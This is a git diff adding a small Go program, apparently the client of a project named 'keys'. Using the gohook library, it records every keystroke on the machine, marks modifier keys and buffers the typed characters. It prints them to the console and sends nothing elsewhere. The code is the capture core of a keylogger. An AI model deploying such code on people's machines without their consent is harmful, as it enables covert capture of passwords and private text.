diff --git a/client/go.mod b/client/go.mod new file mode 100644 index 0000000..09f0344 --- /dev/null +++ b/client/go.mod @@ -0,0 +1,8 @@ +module svitan.dev/keys/client + +go 1.24.1 + +require ( + github.com/robotn/gohook v0.42.0 // indirect + github.com/vcaesar/keycode v0.10.1 // indirect +) diff --git a/client/go.sum b/client/go.sum new file mode 100644 index 0000000..1a682cf --- /dev/null +++ b/client/go.sum @@ -0,0 +1,4 @@ +github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg= +github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE= +github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= +github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= diff --git a/client/main.go b/client/main.go new file mode 100644 index 0000000..878e21f --- /dev/null +++ b/client/main.go @@ -0,0 +1,81 @@ +package main + +import ( + "fmt" + + hook "github.com/robotn/gohook" +) + +const ( + SHIFT_RAWCODE = 65505 + CTRL_RAWCODE = 65507 + ALT_RAWCODE = 65513 + DEL_KEYCHAR = 8 + ENTER_KEYCHAR = 13 + REG_START = 32 + REG_END = 255 +) + +func main() { + evChan := hook.Start() + defer hook.End() + buff := make([]byte, 64) + + for ev := range evChan { + switch ev.Rawcode { + case SHIFT_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[SHIFT]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[shift]")...) + } + continue + + case CTRL_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[CTRL]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[ctrl]")...) + } + continue + + case ALT_RAWCODE: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[ALT]")...) + } else if ev.Kind == hook.KeyUp { + buff = append(buff, []byte("[alt]")...) + } + continue + + case DEL_KEYCHAR: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[DEL]")...) + } + continue + } + + switch ev.Keychar { + case DEL_KEYCHAR: + if ev.Kind == hook.KeyDown { + buff = append(buff, []byte("[DEL]")...) + } + continue + + case ENTER_KEYCHAR: + if ev.Kind == hook.KeyDown { + fmt.Printf("A") + buff = append(buff, []byte("\n")...) + } + continue + } + + if REG_START <= ev.Keychar && ev.Keychar <= REG_END { + if ev.Kind == hook.KeyDown { + fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode) + buff = append(buff, byte(ev.Keychar)) + } + } + + fmt.Printf("'%s'\n", buff) + } +}